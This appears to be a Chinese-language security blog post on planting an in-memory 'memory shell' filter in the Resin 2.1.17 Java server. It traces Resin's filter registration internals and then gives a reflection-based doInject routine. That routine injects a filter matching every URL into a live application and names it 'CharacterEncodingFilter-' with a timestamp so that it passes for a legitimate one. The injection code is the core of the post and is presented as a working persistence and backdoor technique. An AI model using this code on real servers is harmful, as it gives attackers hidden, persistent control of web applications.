Java安全之Resin2内存马

环境

resin2.1.17

添加Filter分析

依然是web.xml注册一个filter，debug进去看注册流程

debug dofilter逻辑时看到如下代码，最终走入this._filterChain = this._application.buildFilterChain(this, this._config);去build filterchain。并且貌似是初始化的时候才会去buildfilterchain，当后面第二次再走时，这里的_filterchain已经是有值的了。

this._application应为上下文对象，继续往下跟通过QFilterConfig#createFilter来创建了一个Filter，之后new 了一个FilterChain

注意下面三个对象，添加上即可

_filterMap

首先看FilterMap构造，主要是Regexp，QFilterConfig后面再说

可以反射实例化之后调用方法或者set属性来设置值

class FilterMap {
    static L10N L;
    private String servletName;
    private Regexp regexp;
    private Object data;

    FilterMap() {
    }

    void setServletName(String servletName) {
        this.servletName = servletName;
    }

    void setRegexp(String regexpPattern, String flags) throws Exception {
        this.regexp = new Regexp(regexpPattern, flags);
    }

    void setURLPattern(String urlPattern, String flags) throws ServletException {
        this.regexp = this.urlPatternToRegexp(urlPattern, flags);
    }

下面看Regexp ,其实就是一个正则来控制的路由处理

^.*$
^(?=/)|^$

调用有参构造即可

_filters

hashtable对象，key为filtername，value为QFilterConfig对象，key可以随便伪造成个正常的

_filterList

直接add一个QFilterConfig元素即可

看到QConfigFilter，Registry为空就走if的逻辑，传入构造好的属性即可

package com.caucho.server.http;

import com.caucho.util.BeanUtil;
import com.caucho.util.CauchoSystem;
import com.caucho.util.L10N;
import com.caucho.util.RegistryNode;
import java.util.Collections;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import javax.servlet.Filter;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;

class QFilterConfig implements FilterConfig {
    static L10N L;
    private static HashMap _configElements;
    private Application _application;
    private RegistryNode _registry;
    private RegistryNode _initRegistry;
    private String _name;
    private String _className;
    private HashMap _init;
    private Filter _filter;

    QFilterConfig(Application application, String name, String defaultClassName, RegistryNode registry) throws ServletException {
        this._application = application;
        this._registry = registry;
        this._name = name;
        this._init = new HashMap();
        if (registry == null) {
            if (defaultClassName == null) {
                this._className = name;
            } else {
                this._className = defaultClassName;
            }

        } else {
            this._className = registry.getString("filter-class", defaultClassName);
            Iterator iter = registry.iterator();

            while(iter.hasNext()) {
                RegistryNode node = (RegistryNode)iter.next();
                if (node.getName().equals("init-param")) {
                    try {
                        application.fillParam(node, this._init);
                    } catch (ServletException var8) {
                        throw var8;
                    } catch (Exception var9) {
                        throw new ServletException(var9);
                    }
                } else if (node.getName().equals("init")) {
                    this._initRegistry = node;
                } else if (_configElements.get(node.getName()) == null) {
                    throw Application.error(node, L.l("unknown element `{0}' in {1}", node.getName(), registry.getName()));
                }
            }

        }
    }

后面就是用c0ny1师傅的java-object-searcher工具挖掘Application和Request在当前线程上下文的位置即可。

//设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象
List<Keyword> keys = new ArrayList();
keys.add(new Keyword.Builder().setField_type("Request").build());
keys.add(new Keyword.Builder().setField_type("Application").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/tmp/");
searcher.searchObject();

result

# Request
TargetObject = {java.lang.Thread}
  ---> target = {com.caucho.server.TcpConnection}
   ---> request = {com.caucho.server.http.HttpRequest}

# Application
TargetObject = {java.lang.Thread}
  ---> contextClassLoader = {com.caucho.java.CompilingClassLoader}
       ---> attributes = {java.util.Hashtable}
         ---> attributes = {com.caucho.server.http.Application}

后面直接添加即可

主要代码

    private static void doInject(){
        filterName = "CharacterEncodingFilter-" + System.nanoTime();
        try {
            if (APPLICATION !=null){

                // Regexp
//                Class RegexpClazz = getClazz("com.caucho.regexp.Regexp");
//                Constructor RegexpConstructor = RegexpClazz.getDeclaredConstructor(String.class);
//                Object regexpObj = RegexpConstructor.newInstance("^(?=/)|^$");

                // QFilterConfig
                Class QFilterConfigclazz = getClazz("com.caucho.server.http.QFilterConfig");
                Constructor QFilterConfigConstructor = QFilterConfigclazz.getDeclaredConstructor(getClazz("com.caucho.server.http.Application"), String.class, String.class, getClazz("com.caucho.util.RegistryNode"));
                QFilterConfigConstructor.setAccessible(true);
                Object QFilterConfigObj = QFilterConfigConstructor.newInstance(APPLICATION, filterName, "HiganbanaFilter", null);

                // FilterMap
                Class filterMapClazz = getClazz("com.caucho.server.http.FilterMap");
                Constructor filterMapConstructor = filterMapClazz.getDeclaredConstructor();
                filterMapConstructor.setAccessible(true);
                Object filterMap = filterMapConstructor.newInstance();
                // set FilterMap regexp
                Method setRegexpMethod = filterMap.getClass().getDeclaredMethod("setURLPattern", String.class, String.class);
                setRegexpMethod.setAccessible(true);
                setRegexpMethod.invoke(filterMap,"/*", null);

                // set FilterMap data
                Method setDataMethod = filterMap.getClass().getDeclaredMethod("setData", Object.class);
                setDataMethod.setAccessible(true);
                setDataMethod.invoke(filterMap,QFilterConfigObj);

                // add FilterMap 2 _filterMap
                ArrayList _filterMap = (ArrayList) getFV(APPLICATION, "_filterMap");
                _filterMap.add(filterMap);

                // add QFilterConfig 2 _filterList
                ArrayList _filterList = (ArrayList) getFV(APPLICATION, "_filterList");
                _filterList.add(QFilterConfigObj);

                // put QFilterConfig 2 _filters
                Hashtable _filters = (Hashtable) getFV(APPLICATION, "_filters");
                _filters.put(filterName, QFilterConfigObj);

            }

        } catch (Exception e) {

        }

    }

    private static void getApplication(){
        Thread thread = Thread.currentThread();
        ClassLoader contextClassLoader = thread.getContextClassLoader();
        Hashtable attributesObj1 = (Hashtable) getFV(contextClassLoader,"attributes");
        APPLICATION = attributesObj1.get("caucho.application");
    }

但是有个弊端，debug逻辑的时候发现，只有在当前web.xml中已经存在有filter才能添加进去。暂未解决该问题。

最后

项目遇到的感觉比较有趣且极端的问题，虽然也不是很好的解决方案。

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